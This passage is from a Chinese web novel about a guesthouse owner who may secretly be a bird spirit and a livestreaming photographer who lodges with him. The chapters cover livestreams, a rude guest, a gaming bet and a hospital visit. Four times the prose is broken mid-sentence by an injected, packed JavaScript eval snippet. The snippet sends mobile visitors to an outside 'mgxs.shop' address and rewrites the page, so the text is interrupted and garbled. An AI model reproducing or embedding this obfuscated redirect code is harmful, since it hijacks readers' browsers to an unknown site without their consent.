那对夫妻也赶来凑热闹。女子在门外看了好久,率先提出疑惑:“摄像头搁哪儿呢?我咋没看见?” 男子说话更是不留情面:“他俩既然都对女人不感兴趣,装摄像头看你干嘛?” 那租客在你一言我一语中烧红了脸,梗着脖子,非说检测到了摄像头。 谢白颐气笑了,一脚踢飞地面碎片,拨通了报警电话:“找茬是吧?那我现在就请人过来证明,让你知道造谣的后果。” 事情很快便查了个水落石出,那位租客不仅需要照价赔偿损坏的物件,还另需多付一份上门安装费用和进口物流费用。 苏漾拿到钱,反而有些闷闷不乐,晚饭没吃几口就说饱了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240438|197706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少了美人陪伴,谢白颐这顿饭也如囫囵吞枣,味儿没尝出来就下了肚。他去冰箱里翻了点前日买的车厘子洗净装盘,又端了他们都爱吃的牛肉干来,找到人后坐下慰问:“怎么了?还在想白天那件事呢?” 苏漾深吸一口气,露出微笑:“没什么,你想多了。” 那微笑怎么看怎么勉强,让谢白颐的心也跟着难受起来。 “这可不像没什么的样子。”他给对方倒了杯茶宽慰道,“开民宿嘛,什么人都能遇到。那个人想借机生事,缠上你一阵再佯装看错解开误会,营造出一种不打不相识的缘分,说不定还会借此做些什么出格的事。” 苏漾垂眸,风吹过他的粉发,贴在落寞的眼皮上。 谢白颐心中一动,伸手帮忙拨开。只见那缕发丝从指尖滑走,柔柔地,抓不住。 被人撩了头发,对方也没有表现出任何抗拒,只是微微红了脸,拉了头发盖住滴血的耳垂,单手藏在桌子底下,悄悄紧了拳头。 “闹事倒还好。”良久,苏漾才轻声说,“主要是那面镜子,和其他房间配不成套了。” 谢白颐知道,那批高清镜子是从海外的一个轻奢品牌成批定制回来的,很难单独补货。 他也不知该如何安慰了。 好在苏漾是个懂得自恰的人。 过了几日,他主动找到谢白颐,说是要将那间房的配置全面升级,可能要施工几日,前来询问会不会吵到他。 谢白颐挑眉:“做几天生意就够钱换了?” 苏漾抿嘴:“换几样罢了,大不了那间房卖贵点。” 热闹了几天的民宿又复回到了平静如初的生活,第二批租客并没有按照想象中的如约而至。 谢白颐分析说:此处地理位置太偏僻,前不着村后不着店,且离各大知名景区隔了上百公里的路程,着实不是一个歇脚的好去处。 苏漾闻言低头不语。 刚好此时,谢白颐用空了拍摄素材。 脑子一闲就容易想些坏事,他不由打起了如意算盘。 装修这几日,谢白颐在吵闹的环境里待得有些难受,便忍不住调侃。 钱没挣多少,全花给强迫症了。 苏漾当即委屈地红了眼。 谢大爷的嘴说话不好听,心肠却是热的。他最见不得美人落泪,于是好说歹说,又将人哄上了山。 “要不再播几日?”他拿起削好的木瓜条往嘴里一叼,嚼着说,“那天直播效果就蛮不错的嘛!至少吸引了两位观鸟爱好者前来买单。” 苏漾一愣,缓慢地摇摇头:“这几日来的观众只认你,我骤然去了,算个什么事儿?” 他说的倒也没错。 客人来得突然,停播怕是对自然流算法不利。谢白颐为了保住这个号,这几日都亲自上阵顶替了主播的职位,偶尔见苏漾闲下来,才邀请他到镜头面前说两句。 只可惜网络上好看的主播实在太多了,性缩力拉满的科普直播间在一众媚眼如丝的擦边氛围里确实没什么留人能力。纵使苏漾容貌形象再出众,也不过如蜻蜓点水一般荡出几道波纹,动静散了没有衔接,便很快再次沉没在直播平台的流量池子中。 “怪不得要长期开播呢!”谢白颐躺在太阳椅上,吹着风,慢悠悠地看着显示屏说,“就忙了这几日,人都快被遗忘了。” 苏漾看着远方雾青色的山林,轻声道:“没办法,时代洪流如此,我们每个人都身不由己。” 11. 请随时吩咐我 得益于谢白颐前几日的铺垫,待苏漾重新担任起主播的位置时,意外发现粉丝们在弹幕交流中学到了不少有关于其他鸟类的新知识。 这日,直播镜头对准的显示屏里正拍摄着一种红粉色身躯的鸟类,娇小玲珑,憨态可掬,引来许多围观群众的注意。 [这是什么品种的鸟?好漂亮?] 苏漾读着弹幕,认真回复:“此鸟名为中华白眉朱雀,属于雀科朱雀属动物。” [是南朱雀北玄武的那个朱雀吗?] “是的宝子,就是那个朱雀。” 这段时日,苏大老板已经把“宝子”二字变成了口头禅,动辄拿出来当人称代词,把谢白颐听得浑身不得劲。 他忽然口干,想买点古早零食溜溜梅来解渴。 那边还在认真回复弹幕。 [生活在多少米的海拔?] “白眉朱雀常出没于海拔2000-4500米的高山上。” [也是栖息在亚高山针叶林和针阔叶混交林中吗?] 苏漾有些惊讶,没想到如此拗口的几个词都能被网友背下来。 他笑着说:“还真不是,这种鸟类更常见于高山灌丛,当然,草地和植被稀疏的岩石坡上也能见到它们的身影。” [和黑额山噪鹛的灌木丛有什么区别?] “黑额山噪鹛的食物有一部分来源于苔藓里的小虫子,所以想要观察这种鸟类,最方便的前提就是在针叶林和混交林中找到被苔藓覆盖的灌木丛或矮竹丛。” “而白眉朱雀平常则喜欢吃一些果实、种子和嫩芽,所以更常栖息于高山灌丛,偶尔也能在疏林灌丛或林缘的开阔地带见到。如果到了冬天,他们会下降到海拔2000米左右的沟谷和山边高原草地,欢迎前来偶遇哦!” 专业知识讲多了,难免口干舌燥。更何况其中有许多未曾听闻的地理知识,许多网友纷纷弹幕要求他们配上科普文字。 谢白颐看戏看乐呵了,次日就带了记号笔和A3大纸,手写关键词亮相屏幕前。 前几日混熟了的网友不由调侃道:[哥这是又退居幕后打下手了?] 他贫嘴回怼:“你们见过老板露脸的吗?” 话音刚落,一道幽幽的视线从旁边斜探过来。 他哈哈两声,干笑着讲了几句,又将镜头还给主场的人。 过了没几分钟,谢大爷多了个外号:耙耳朵。 “耙耳朵”是西南这边的俗话,用于调侃男人惧内。谢白颐这段时间被网友疯狂在cue,早已对这种拉郎行为见怪不怪了。 但他还是担心苏漾是否会因此受到影响,于是例行公事地“警告”说:“这可不是耙耳朵哈!我们俩清清白白,仅是合作关系。” [哦~合作关系啊?] [懂的都懂。] [哥们别挣扎了,你的嘴角都快翘上天了。] 笑容僵在脸上,猛地耷拉出凶神恶煞的模样。 苏漾在旁边看了全程,趁着对方占据屏幕的功夫偷偷捧起水喝了两口,又扒拉了几口牛肉干。 这个行径很快就被抓了包。 “呔!”对方微微皱眉,指尖点点,“放下。” 偷吃的人不去看他,快速又往嘴里塞了几根。 谢白颐气笑了,当下伸手抢过,说:“认赌服输,别耍赖。” 苏漾意犹未尽,视线紧跟着那袋解馋小零食,眼巴巴地好不可怜。 弹幕忽然开始八卦。 [什么赌?] [什么零食?] [小情侣之间有什么不能告人的秘密?] 谢白颐笑说:“不是情侣,是合作关系。” 此地无银三百两,弹幕闹得更欢了。 苏漾难得做贼心虚,急忙别开眼,不顾众人的调侃与好奇,直接将镜头切换为后置。 顿时,性缩力拉满的显示屏再次出现在大家面前。 弹幕顿时嘘声一片。 没办法,他们之间的打赌实在太幼稚了,根本没脸拿出来说。 初时,谢白颐见人得了闲,非要把主播的位置还给苏漾,还口口声声向他保证,绝对不会掉粉。 上了几天直播课程的苏大老板全然不信,声称此账号的归属者不属于他,粉丝也只会认主理人。直播间骤然换了新鲜面孔,怎么可能不掉粉? 谢大爷被夸得舒坦,也不知道哪里来的自信,盯着人笑眯眯道:“我说不会就不会,信我。” 对方当即哼出声:“信你不如信我是秦始皇。” 谢白颐说不过,就拿出小孩子的把戏跟人打赌:如果账号掉粉,他就免费给民宿当一个月的洗碗工,不管来多少客人,任劳任怨绝不反悔。 反之,苏大老板则要遵守条约,禁食一周的牛肉干。 四目相对,火光在彼此眼中噼里啪啦地炸响,两个人的胜负欲都写在了脸上,恨不得下一秒就让对方愿赌服输。 结果就是,账号确实掉粉了,但因着苏漾的出现,新关注的粉丝增长数量直接赶超了原来的数据。 牛肉干当场就被没收了。 客观而言,这一次打赌谁也没赢,谁也没输。但苏漾没有如墙的厚脸皮和灵活的头脑,只能心不甘情不愿地地看着小零食离自己而去。 谢白颐逗人起了劲儿,不忘幼稚地骑脸炫耀,时不时拿着牛肉干搁人眼前乱晃。 终于有天把人惹急了,抬手就是一拳,给他的胃疼了好几天。 “你耍赖!”恶人先告状的谢白颐痛呼出声。 苏漾看也不看他一眼,背着人狠狠地撕下一根炸蜘蛛腿,咬牙骂:“该!” 以至于一周过去,谁也没在那包牛肉干里讨到几天好处。 —— 就在两个幼稚鬼为了赌约偷奸耍滑之际,一张新的住宿订单悄然而至。 那是个阴雨绵延的日子,山上泥泞湿滑不变行走,且鸟类也鲜少在这种天气出来觅食。谢白颐坐在一楼的大厅里,一边剪辑一边摸鱼,和摄影群的水友聊得起劲儿。 忽然,门外传来了急促的敲门声。 “美人!”他朝厨房里喊了声,“好像有人敲门,你去看看是不是快递。” 苏大老板从厨房里出来,擦干净手嘴里数落:“你又买了什么?天天往民宿里寄快递,纸皮都快没地儿扔了。” “你急什么。”谢白颐喝了杯茶,慢悠悠道,“纸皮有我拉去县城回收站,卖了高低还能给你省出一顿饭钱来,感谢我吧。” 苏漾懒得斗嘴,转头拉开了门。 来人穿着机车服,没有打伞,身上被淋湿了一半,看上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240439|197706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去有些风尘仆仆的狼狈。 “您好?请问找谁?”他试探性地问了句。 机车男看了眼牌坊,又打量着身前的粉毛,颇有些不确定。 “你这是民宿,没错吧?” 苏漾一愣,连忙点头:“对,我是这里的老板,请问你是......” 话还未说完,就被对方扔到前台的身份证打断:“大床,多少钱一晚?” 居然是个酷哥? 面对这种人,苏漾也算积攒了一定经验,当即端起职业微笑,双手接过证件道:“大床现在480一晚,目前开业打8.5折,合计408。” 那人摘下头盔,露出一张年轻的厌世脸:“山旮旯的地方,什么客房这么贵?” 他有些尴尬,赔笑道:“不如您先进来参观?如果觉得合适,再考虑留宿不迟。” 来者冷峻地“嗯”了声,自顾自地走了进来。 谢白颐看着闯入的不速之客眉头微微皱起。 呵!落汤肌肉男,显摆啥? 他没说话,对方反倒先开了口:“这人谁?你老公?” 苏漾惊得呛住了口水,咳得满脸通红。 谢白颐更不满了,起身接了杯水,递给咳得上气不接下气的人,转头说道:“我是谁,和你有什么关系?” 机车男的脸猛地拉下:“这就是你们的服务态度?” 苏漾缓过气来,瞪了眼捣乱的人,赔笑说:“不是的,他也是这里的租客,只不过特殊情况选择长租,就随意了些。” “嚯!长租?给多少钱啊?”机车男扬起一个轻蔑的笑,上下打量起谢白颐,“哥们,穿个300块钱的球鞋就敢来住480一晚的民宿,挺败家啊?” 被点名的人很有职业素养地翻了个好看的白眼,话都懒得接。 要不是苏漾真穷,他都恨不得主动帮忙劝退了。 什么大爷,懒得伺候。 对方见人不接茬,倒也没再追问,只是双手插兜绕了一圈,点着头哼哼两声:“还行,挺有格调,你这个人不会选址,开在这种地方太浪费了。” 苏漾咬腮,强忍着后来居上的怒火,端出微笑:“这位先生需要到前台登记吗?” 青年摇头晃脑,这挑挑那看看,过了很久才说:“愣着干嘛?开房啊?” ……拳头硬了。 他努力压着想要施展拳脚的冲动,端起笑容来到前台电脑跟前,咬牙录入了客房信息。 谢白颐见状,不由冷笑。 真是钱难赚屎难吃。 要不是看在苏大老板的份上,他高低给这个东西一顿教训。 似乎察觉到不怀好意的目光,那个人斜视过来,冷睨着他。 ……忽然有点想揍人了。 两个人剑拔弩张的氛围压根没逃过第三只眼,打字声音微微停顿,很快恢复了正常。 “赵先生,这是您的房卡。请问有行李吗?我可以帮您送到房间内。” 苏漾例行公事地提供服务,不曾想却招了笑。 “不用。”那位姓赵的男士冷声说,“我的东西重且金贵,你赔不起。” 苏大老板的笑容微不可查地顿住,紧接着,在悄无声息中暗自磨牙。 “好的先生,您如果有什么需要,请随时吩咐我。” 12. 媳妇儿 窗外淅淅沥沥下着雨,打在落地窗上,与玻璃外的风景融合成水流状的绿色画布。 厨师和打杂的小伙伴今儿个都不方便来,因此午饭只能靠他们解决。 谢白颐放下手中的活计来到厨房,找到了独自忙活的苏漾,眼中蕴起的光芒忽明忽暗。 “刚才那大爷叫什么名字?” 这话听着有些质问的意味了,忙着做饭的人极有职业素养地说:“身为民宿老板,我不能随意透露住客的姓名,你找他有什么事吗?” 他抬头,视线越过厨房中心方方正正的黑色大理石台,望向靠在门上的人。 只听见一声含混不清的哼笑,像舌头扫过了锋利的牙尖:“没事,就是看他不顺眼。” 苏漾闻言不语,收回视线低头擀面,没有接话。 这种被故意忽视的感觉可不好。 谢白颐走上前来,伸手在白乎乎的面团上按下了个黑指印,试图以此吸引注意。 耳边呼吸忽地重了。 “你想做什么?”对方状似冷静地看着他。 谢白颐微微勾起嘴角,把心里头的那点不满问了出来:“你刚才对那个人笑什么?” 四目相对,鸦雀无声。 空气中漂浮着白烟,仿佛不是锅里冒出来的蒸汽,而是他们故作玄虚的烟雾弹。 虽说谢白颐很享受这种半天说不出来一点儿有效信息的相处模式,但也总不能句句话被人牵着鼻子走。 总得掌控点什么。 他好整以暇地看着沉默的苏漾,半晌,才听见狭小的空间里响起那声叹气:“难得有生意,我不想错过。” 果然如此。 只可惜养尊处优惯了的人完全不能理解这份委曲求全,当下挑眉:“不想错过给人使唤和辱骂的机会?” 看来今儿个面皮是擀不成了。 苏漾将手上的擀面杖一扔,砸在未加水的面粉上,扬起白尘。 只见他扯了布,擦干净黏糊糊的手,稀松平常的动作被故意放慢,加了几分明显的力气,愣是让撩天撩地的门外汉看出了摩拳擦掌的架势。 “我嘴贱,你别介意。”头顶的“怂”字无形又显眼,脚底抹油窜得飞快。 不一会儿,就被伸手逮住了。 走廊里的风湿冷,蕴在苏漾眼中,像极了一把淋在雨里杀人不眨眼的的刀。 “再捣乱,我就把你送去喂蜘蛛。” 被抓住的人毫不怀疑这番话,毕竟面前这位眉目狰狞的大美人是真有说到做到的能力。 更何况此番新仇加旧怨,前几天刚被没收了牛肉干,估计还不解气。 谢白颐分明看见,对方没少背着自己啃蜘蛛。 南方的生物大得跟成精似的,说会吃人都不能算夸张作辞。 自此,一套完整的食物链在脑海中形成。 他,蜘蛛,苏漾。 自我发现家庭地位垫底的谢大爷顿时萌生出淡淡的悲哀。 “苏大老板,苏大美人,行行好,放过我那价值8000块钱的衣领好吗?” 此话一出,那力道果然松手。 “8000?”对方将他上下打量,眼神里的怀疑毫不掩饰,“鞋300,衣服8000?” 什么配置? 谢白颐笑着掏出牛肉干,当着人的面慢条斯理地撕成条吃:“现在又不用出门,家居鞋300块钱够用了。” 只见眼神半分不动,仍旧含怒地死死盯着他。 “怎么?想吃?”牛肉干在对方鼻尖晃了晃:,“不给。” 苏漾冷哼了声,猛地拉开冰箱门,拿出小指粗的油炸食品,往嘴里嘎嘣一咬。 谢白颐顿时胆汁往脸冲——绿了。 —— 民宿里厨师没来,新入住的客人对这俩看上去装扮浮夸的公子哥儿心生怀疑,总觉得不是民宿老板和租客,倒像是要组团去蹭时装周走秀的。 因此,压根没敢点餐。 苏漾夹着新学做的热乎饺子送进嘴里,细细品尝,表情凝重。 谢白颐坐在对面佯装忙碌,实则留了眼小心窥着,见状不由紧张起来:“咋了?不好吃?” 只见对方放下筷子,疑惑地蹙起好看的眉:“还行,但总感觉少了啥。” 听闻此话,谢白颐忍不住饥肠辘辘,说什么都得高低尝两口。 怨不得那个机车男不信任。就连同吃同住了那么久的谢大爷,在见到两盘饺子被端上来的时候,都借口有工作处理端着平板查资料去了。 饺子送入口中,鲜香是有的,咸味儿也是有的,面皮也是正常水平的。 但不知为何,总感觉口感和味道像是分了两个图层,由于操作技术不过关,导致无论如何都无法合并。 俗称:不入味。 二人一边嚼着一边沉思,过了许久也不得其解,吃饭的速度空前缓慢。 那机车男终于忍不住了,走到跟前来,毫不客气地徒手捏起一块饺子,塞进嘴里嚼了嚼。 筷子落在碗中,打出哐啷声响。 二人看着陡然出现的第三方,双双震惊。 兄台,夺人鸟食,好不讲道理! 机车男很没礼貌动着嘴,半晌才说:“进汤汁了,你们饺子的缝没捏紧吗?” 苏漾一惊,连忙拿起筷子用纸巾擦干净,在粘合的边缘处扒拉了几下。 果不其然,饺子皮马上跟开花似地,露出里面带了水分的馅料。 “......” “......” “还好我没点餐。”姓赵的男士意味不明地笑了声,“这种厨艺,怪不得这等装修都只能收480,谁吃啊?” 掌勺之人脸色忽地一沉,刚要说话,就见旁边的那位早已按捺不住:“你嘴巴挑过大粪呢?这么臭?” “挑大粪也比你这尝不出屎味儿的强。”对方想也不想,回怼道。 谢白颐“啪”地摔了筷子,站起身来,指着对方的鼻子:“我看你不爽很久了,有本事别在嘴上比,用真男人的方式来解决问题。” 苏漾本能一惊,刚要伸手阻拦,就见那机车男舌尖顶着腮帮子接下战书:“行啊!你要怎么解决,我尽数奉陪!” —— 两个大男人坐在沙发上,一人一部横屏手机,指尖飞舞戳着屏幕,速度之快好像下一秒要搓出火星子。 “你能不能绕路?” “别挡我视线啊,草!” 一阵激烈的枪响,紧接着警报与感叹号横幅同时拉起。 “俯身!”白色机车套的男角色抬起98K,一枪爆头。 “妈的,他们带了消音器。”身穿黑色皮革外衣和闪亮超短裙的人妖蹲在遮蔽物前,打着绷带狠狠骂道。 苏漾生无可恋地坐在餐桌前,摆了整排的酱油醋和辣椒酱,一碟子一个味道,白眼几乎翻上天。 他差点儿以为这俩大老爷们是要动手拆客厅。 结果是把屋顶吵掀了。 “哥这就让你看看,什么是真男人的决斗方式。” 隐在金丝眼睛后的目光沉着冷静,与嘴里幼稚挑衅的话组合在一起,像是被人随便找了张嘴,临时安在精英范儿十足的帅脸上。 “老子吃鸡的次数比你吃盐还多,今晚爷就让你见识见识什么叫东区霸王。” 听这张狂的语气,和那张厌世理工男的脸更加不匹配了。 苏大老板百无聊赖地调着黑暗酱料,心中绝望地想着:他上辈子是造了什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240440|197706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孽,才会同时遇见这两个神人。 谢白颐提出的赌约比之前的小打小闹的玩命多了。 “输了,我叫老板给你免租金。赢了,你就把那盘开了口的饺子全吃了,并在社交媒体上发布有关于我们民宿的好评。” 说完,又像找补似地加上句:“不许蘸调料!” 苏漾看着那位蹭吃蹭喝了有一段时日的神人,眼都值了,瞪得溜圆。 你跟别人打赌,免我的租金,我同意了? 谢大爷似乎察觉到他的不满,扭头一笑,做口型说:没事,我心里有数。 被迫接受赌约的苏大老板:......有数你的爸爸。 骂归骂,不能拿钱开玩笑。 相比起动手拆家来说,免房租的损失,似乎要更小一些。 但苏漾仍旧不甘心。 他不知道谢白颐这杀千刀的游戏水平如何,但明眼人都看得出来,那个姓赵的客人技能操作过于娴熟。 不是电竞选手的职业本能,也不像主播的故意炫技。那永远快人一拍的反应和精准识别物资空投的预判,倒像是…… 在这个游戏里有人一样。 这种感觉非常不妙,让苏大老板本能地捂紧了钱包。 凭什么要给那个缺根筋的免租金?他是哪根葱啊? 还有那个替人做主张的谢白颐,又蒜个什么鸟? 他气急了,用筷子把饺子戳了个稀巴烂,转头又去民宿周边转了几圈,找到正在织网的蜘蛛一巴掌拍晕,生吞入腹。 他抹去嘴角残渣,目露凶光。 要不是人类处于法治社会,早晚要把这俩蠢货的眼睛给啄瞎! 吃饱喝足的粉毛回到自己的民宿时,二人已经完成了赌约。 胜者笑眯眯地坐在沙发上,一脸满足地看着手下败将被噎得干呕:“怎么样?咱老板的手艺不错吧?” 赵大爷一边艰难吞咽一边喝水,用哑了几分的嗓子骂:“黑心夫妻店,狼狈为奸。” 谢白“嚯”了声:“你自己接受的赌约,可没人逼。 打赌的那个人好像确实有那么两下子,人头制三局两胜,飞走的租金很快就回到了兜里。 苏漾心中那股怨怼消散去几分,但还是有点生气。 他走到前台,将开谢的郁金香从瓶中取出暴力折断,啃大葱似地送进嘴里,嚼得清脆作响。 谢白颐循声望去,魂都飞了。 他再也顾不上保持胜利者的姿态,求爷爷告奶奶地伸手阻拦:“我的祖宗!这东西有毒,不能吃!” 苏漾拨开阻碍,当着人的面吞下,烟眸寒冷。 向来没啥德行的人顿时慌了。 他飞奔回房间拿过车钥匙,一把将人拽出民宿按在副驾驶上,车轮猛地擦出飞溅痕迹。 只听那张吐不出象牙的嘴里喋喋不休道:“我错了,不该拿你的钱来赌,别寻短见啊!哥这就带你去医院。” 旁边的人黑着脸:“放我下来。” 谢白颐嘴唇干裂,像是没听见他在说话。 “放我下来!” 重复到第三次时,终于被六神无主的人听了进去。 “放你下车,我要承担刑事责任的!” 豪华越野车风驰电掣,很快顺着导航的指路,停在县城人民医院的门口。 “医生,快!我媳妇儿吃了有毒的花!” 话音刚落,脸上瞬间挨了一巴掌。 “谁是你媳妇儿?” 谢白颐回神,这时才反应过来说了什么。 草。 这不是弹幕调侃的话吗? “媳妇儿你,啊不是!苏漾你听我解释……” 完了,这下他是跳进兰昌河也洗不清了! 13. 怎么让你老婆下厨房? 苏漾已经数不清自己第几次来医院了,当再一次被按在急诊室的椅子上时,医生扶了扶镜框,脱口而出喊了他的名字。 “又来了?”医生看着青年,露出了个和蔼可亲的笑容。 压根不想来的人将脸埋进手里。 丢人。 偏生医生又说:“哭啥,不会有什么大问题的。死不了,放宽心。” 压根没哭的苏漾第一次产生了想落泪的冲动。 谢白颐嘴碎,见到医生就开始喋喋不休地数落起自家老板啃食郁金香的坏毛病,顺带还把他喜欢吃虫子蜘蛛的习惯全给抖搂了出来。 老医生看向青年的眼神顿时变了。 “异食癖啊?多久的症状了?” 苏漾不知道该如何解释,干脆闭嘴,直接上演沉默是金。 不多时,他拿了一沓厚厚的诊疗单子,拖着千钧重的脚步走了出来。 苏漾有点委屈,但苏漾不说,只是眼巴巴地将那个把自己绑来医院的人看着。 许是那眼神太过幽怨,叫人无法忽视,走在前头的谢白颐转身,问道:“怎么了?” 收起往日的嬉皮笑脸,此人表情难得正经。金丝镜框架在优越的鼻梁上,被冷静的眼神将光影定格,才叫人看出来那份斯文败类的气质来。 像是奢侈品牌摆在专柜正中心的高端线沙龙香水,优雅权威,不容置疑。 雨后天晴的阳光穿过穹顶,将雾蒙蒙的灰色照得透明,苏漾在片刻失神里听到了自己心跳的声音。 重重地,像拳击,震得耳膜生疼。 他不明所以地捂上心口,似乎对这陌生的鼓动有些疑惑。 大抵是病了吧? 或许真该谨遵医嘱,好好地做个全身检查。 这边民宿空无一人,谢白颐知道操心的苏大老板放心不下,于是主动联系厨师给了人家500块钱,叫他帮忙顶替一天的工作。 只会做饭不会经营的何桉当即犯了难,听到自家朋友误食郁金香要去医院做全身检查时,语气忽然变得有些吞吞吐吐。 “?”谢白颐敏锐察觉到不对,直接一个问号敲了过去。 聊天框的顶部弹现了好几次对方正在输入中,过了大约五六分钟,那边才堪堪说出一句话:“他没事,不用检查。” 斯文败类的人翘起大长腿,坐在医院的长椅上等着做胃镜检查的苏漾,看到这话不由冷笑。 晚了。 他的好朋友自己主动缴费进去了。 对面似乎不知道,又删删减减了老半天才再次蹦出第二句话:“他从小就吃这些东西,没出过事。” ??? 谢白颐坐直了身体,不可置信地握着手机紧紧盯着那行字,眼神灼热恨不得把屏幕烧穿个窟窿。 他飞快敲着键盘:“你说什么?” 对方说:“他那个胃应该和正常人不一样,反正有毒没毒,能吃与否,估摸着他自己有经验。” 脑子空白了大半晌。 怪不得苏漾那么抗拒来医院体检,怪不得一直要求放他下去。 感情经验使然,纯浪费钱,真的没事。 那他缴费干嘛! 钱很多吗? 谢白颐久久不能回神,不知道应该先探讨这具身体奇异的机能,还是应该查阅世上是否存在某种罕见体质。 亦或是...... 怀疑对方的身份。 —— 检测报告需要等待三天时间,这几日那位玩机车的大爷好像在这里住上瘾,赖着不走又续了两天房租。 苏漾自然乐得招待,蔬果好茶各式点心供应不断,专心招待这位来自东区的太子爷。 另一位久居此地的客人终于酸了。 “这附近又没有地方玩,你就花钱搁这里躺五天?” 那位太子爷打开游戏商城,把新上架的皮肤哐哐Allin,来了句:“休息,就是要选择最最舒适的环境混吃等死,全身心都能得到极致的放松,才叫有效放假。” 谢白颐哼笑:“你那不叫放假,叫疗养。” 说罢他也不甘示弱,打开商城买了一套豪华外观套装,顺便抽了两个保底转盘。 真烧钱。 在海外花钱似流水的谢留子看着连串的充值金额,第一次陷入沉思。 这两日,太子爷在民宿中吃了睡睡了吃,晚上无聊的时候当夜猫子爬起来,逮住人就是一顿压榨,非要在游戏里组排。 为了方便,两个人加上了联系方式,也算互通过姓名。 赵太子爷姓赵,单名一个钊字。 嘚瑟嗖嗖的人嘴又欠了,拿捏腔调,调侃这名字起得真像图省事儿。 结果那嘴里挑大粪的压根没恼,反而问他:“你怎么知道的?” “......” 我不知道。 赵钊拉着谢白颐组排的理由很简单,一来苏大老板不玩游戏没话说,二来那白衣男角色的游戏战绩确实闪亮。 S128区排名第一,双线大服排名前8,知名大神来的。 为了抱上粗壮的大腿,赵太子爷把这辈子都没说过的好话倒油似地全挥霍了,美其名曰:技术好,有钱,有面子,容易做数据。 打工多年的牛马顿时职业病犯了。 “做数据?”他上下打量着横在休息室沙发上半死不活的人,“你是电竞专业的学生?” 对方半睁着眼,迷迷瞪瞪地就把对面楼顶的人打去大半管血条:“天机不可泄露。” 显摆! 谢白颐在心底里不屑地说。 连日阴雨绵延拍不了视频,苏漾也刚好忙着招待客人,谢白颐便乐得其所歇息几日。睡前的安眠甜品准时供应上桌,一份冰冰凉凉的椰子布丁能很好地融去夏天的燥热。 “这味道不错,清甜爽口刚刚好,明天中午也来一份。” 赵太子爷倒也没有想象中的难伺候,尤其在饮食一块儿,只要不翻车基本不咋挑。 苏大老板端起职业笑容应承下,目光落在了金丝镜框下的那层皮。 不知为何,比起顾客的真实评价,他更期盼能在这个人身上讨到一点儿正向反馈。 哪怕是个表情也可以。 心中忽地升起隐隐希冀,他直觉谢白颐不会让自己失望。 果不其然,那人优雅地挑起半块送入口中,品了一下,舌尖舔过牙齿。 “确实,比国外那些齁死人不偿命的强多了。” 心下忽地一甜,像饮食花蜜过后的舌尖,凉凉地带着滋润,很舒服。 嘴角不由自主地勾起弧度,前额刘海垂下,挡去眼中雀跃但羞涩的闪躲。 温度爬上耳朵,不出意外的话,应当又红了。 苏漾很有耐心,等着两位大爷把甜品吃干净,才手脚迅速地撤走盘子。 谢白颐抬眼,看着对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240441|197706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方急匆匆的背影,若有所思。 不知为何,脑海中不断浮现着前几日拍摄白眉朱雀时,那受惊跳走的画面。 太像了。 想起白天何桉透露的那番话,一个荒诞到离谱的念头悄然升起。 眼前这位又暴力又单纯的民宿老板,会是人吗? 想法刚冒出头,就被咬了舌尖。 想什么呢谢白颐? 精怪传闻听听就得了,谁当真谁傻×。 他撤回目光,将那杂七杂八的画面晃出脑海,再回到屏幕时,已经变成了一片灰色。 ...... 很好,美色误国,名不虚传。 这一局是由赵钊拿下了人头榜,对方在等待室里挂机,蛮好奇地打听道:“你刚才说比国外的甜品强,咋地?经常出国?” 谢白颐倒也不避讳自己的经历,点头道:“留子,你懂的。” 对方脸上瞬间露出同情的神色。 “那你厨艺应该比老板好啊?怎么还让老婆下厨?” 老婆这个词已经被太子爷默认说了很多天。 谢白颐此前对人爱答不理根本懒得搭话,待到二人真正产生交集后,再想去否认已经来不及了。 毕竟这个时候无论说什么,效果都和此地无银三百两没啥差别。 他忽视去心里闪过的别扭和一丝说不清道不明的微妙情绪,随口敷衍道:“那想多了,我不会做饭。” 只见对方的手机从脸上移下来,露出震惊的眼神:“我靠,你得多有钱?居然在海外那种地方拥有不会做饭的资格?” 谢白颐眼睛一眯:“很贵吗?” 